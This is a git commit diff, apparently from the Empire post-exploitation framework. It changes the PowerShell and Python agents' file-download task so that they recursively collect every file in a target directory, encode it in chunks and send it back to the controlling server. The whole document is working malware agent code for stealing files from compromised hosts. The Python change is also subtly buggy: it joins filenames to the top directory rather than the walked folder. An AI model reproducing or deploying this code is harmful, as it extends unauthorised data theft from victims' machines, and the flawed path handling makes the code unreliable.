Merge branch 'directory_download' of https://github.com/winnie22/Empire into winnie22-directory_download
commit
8d32e7e4d0
|
@ -840,16 +840,17 @@ function Invoke-Empire {
|
||||||
$ChunkSize = 1024KB
|
$ChunkSize = 1024KB
|
||||||
}
|
}
|
||||||
|
|
||||||
# resolve the complete path
|
# resolve the complete paths
|
||||||
$Path = Get-Childitem $Path | ForEach-Object {$_.FullName}
|
$Path = Get-Childitem -Recurse $Path -File | ForEach-Object {$_.FullName}
|
||||||
|
|
||||||
|
foreach ( $File in $Path) {
|
||||||
# read in and send the specified chunk size back for as long as the file has more parts
|
# read in and send the specified chunk size back for as long as the file has more parts
|
||||||
$Index = 0
|
$Index = 0
|
||||||
do{
|
do{
|
||||||
$EncodedPart = Get-FilePart -File "$path" -Index $Index -ChunkSize $ChunkSize
|
$EncodedPart = Get-FilePart -File "$file" -Index $Index -ChunkSize $ChunkSize
|
||||||
|
|
||||||
if($EncodedPart) {
|
if($EncodedPart) {
|
||||||
$data = "{0}|{1}|{2}" -f $Index, $path, $EncodedPart
|
$data = "{0}|{1}|{2}" -f $Index, $file, $EncodedPart
|
||||||
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
|
(& $SendMessage -Packets $(Encode-Packet -type $type -data $($data) -ResultID $ResultID))
|
||||||
$Index += 1
|
$Index += 1
|
||||||
|
|
||||||
|
@ -870,7 +871,8 @@ function Invoke-Empire {
|
||||||
[GC]::Collect()
|
[GC]::Collect()
|
||||||
} while($EncodedPart)
|
} while($EncodedPart)
|
||||||
|
|
||||||
Encode-Packet -type 40 -data "[*] File download of $path completed" -ResultID $ResultID
|
Encode-Packet -type 40 -data "[*] File download of $file completed" -ResultID $ResultID
|
||||||
|
}
|
||||||
}
|
}
|
||||||
catch {
|
catch {
|
||||||
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
|
Encode-Packet -type 0 -data '[!] File does not exist or cannot be accessed' -ResultID $ResultID
|
||||||
|
|
|
@ -280,10 +280,22 @@ def process_packet(packetType, data, resultID):
|
||||||
|
|
||||||
elif packetType == 41:
|
elif packetType == 41:
|
||||||
# file download
|
# file download
|
||||||
filePath = os.path.abspath(data)
|
objPath = os.path.abspath(data)
|
||||||
if not os.path.exists(filePath):
|
fileList = []
|
||||||
|
if not os.path.exists(objPath):
|
||||||
return build_response_packet(40, "file does not exist or cannot be accessed", resultID)
|
return build_response_packet(40, "file does not exist or cannot be accessed", resultID)
|
||||||
|
|
||||||
|
if not os.path.isdir(objPath):
|
||||||
|
fileList.append(objPath)
|
||||||
|
else:
|
||||||
|
# recursive dir listing
|
||||||
|
for folder, subs, files in os.walk(objPath):
|
||||||
|
for filename in files:
|
||||||
|
#dont care about symlinks
|
||||||
|
if os.path.exists(objPath):
|
||||||
|
fileList.append(objPath + "/" + filename)
|
||||||
|
|
||||||
|
for filePath in fileList:
|
||||||
offset = 0
|
offset = 0
|
||||||
size = os.path.getsize(filePath)
|
size = os.path.getsize(filePath)
|
||||||
partIndex = 0
|
partIndex = 0
|
||||||
|
|
Loading…
Reference in New Issue